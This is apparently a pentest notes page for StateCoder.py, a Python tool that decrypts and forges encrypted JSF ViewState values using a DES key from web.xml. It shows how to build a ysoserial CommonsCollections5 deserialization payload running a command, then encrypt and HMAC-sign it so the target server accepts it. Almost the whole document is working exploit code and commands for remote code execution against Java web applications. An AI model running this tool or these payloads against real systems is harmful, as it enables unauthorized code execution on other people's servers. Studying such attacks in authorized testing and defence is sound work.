ViewState Encryption / Description Tool

StateCoder.py

In order to create payload file which can be used for encryption use modified ysoserial:

java -jar ysoserial-modified.jar CommonsCollections5 cmd 'ping <IP>' > payload

Encryption:

python3 statecoder.py -e payload.file "SnNGOTg3Ni0="

Decryption:

python3 statecoder.py -d "wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D" "SnNGOTg3Ni0="

Code:

import argparse
from urllib.parse import unquote, quote
import pyDes
import base64
from Crypto.Hash import SHA, HMAC

parser = argparse.ArgumentParser(description='Tool for ViewState encryption / decryption')

parser.add_argument('value', type=str, help='In case of decoding provide value. \n In case of encoding value provide location of file with payload generated with ysoserial.')
parser.add_argument('encryption_key', type=str, help='Key from web.xml.')

parser.add_argument('-d', '--decode', action='store_true', help='ViewState decoding mode.')
parser.add_argument('-e', '--encode', action='store_true', help='Payload encoding mode.')

args = parser.parse_args()
value = args.value

encryption_key = bytes(base64.b64decode(args.encryption_key))

# mac length is always 20 bytes
mac_length = 20

print("[Provided value: " + value + "]")

# URL decode -> Base64 decode => DES decode (with ECB mode and PAD_PKC55 padding)
if args.decode == True and args.encode == False:
    print("Decoding...")
    
    # URL Decode
    value = unquote(value)

    # Base64 decoding serialized objectfrom web application
    raw_value = base64.b64decode(value)

    # Preparing decoding algorithm -> DES (ECB mode, PAD_PKC55 padding)
    decryption_algo = pyDes.des(encryption_key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)

    # wycięcie z payloadu ostatnich 20 bitów (ostatnie 20 bitów to HMAC)
    first_part = raw_value[:len(raw_value)-mac_length]

    # Decrypting the part without HMAC
    decrypted_value = decryption_algo.decrypt(first_part)
    print()
    print("Bytes post decryption:")
    print(decrypted_value) # We got the serialized object
    print()

# Payload encrypt =>  Encrypted_payload + HMAC (20 bits at the end) => base64encode => URL Encode (Optional)
elif args.decode == False and args.encode == True:
    print("Encoding...")
    filename = value

    with open(filename, "rb") as f:
        payload = f.read()

    # Preparing the DES algorithm for encryption
    encryption_algorithm = pyDes.des(encryption_key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)

    # Encoding the payload
    encrypted_payload = encryption_algorithm.encrypt(payload)

    # Creating the HMAC
    hmac = HMAC.new(encryption_key, encrypted_payload, SHA).digest()

    # Concatenating encrypted payload with HMAC signing
    encrypted_viewState = encrypted_payload + hmac

    # Base64 encoding
    encrypted_viewState = base64.b64encode(encrypted_viewState)

    # URL encoding
    encrypted_viewState = quote(encrypted_viewState)

    print(encrypted_viewState)

# Edge case
else:
    print("Choose one option: -e (for payload endoding) or -d (for ViewState decoding).")

Last updated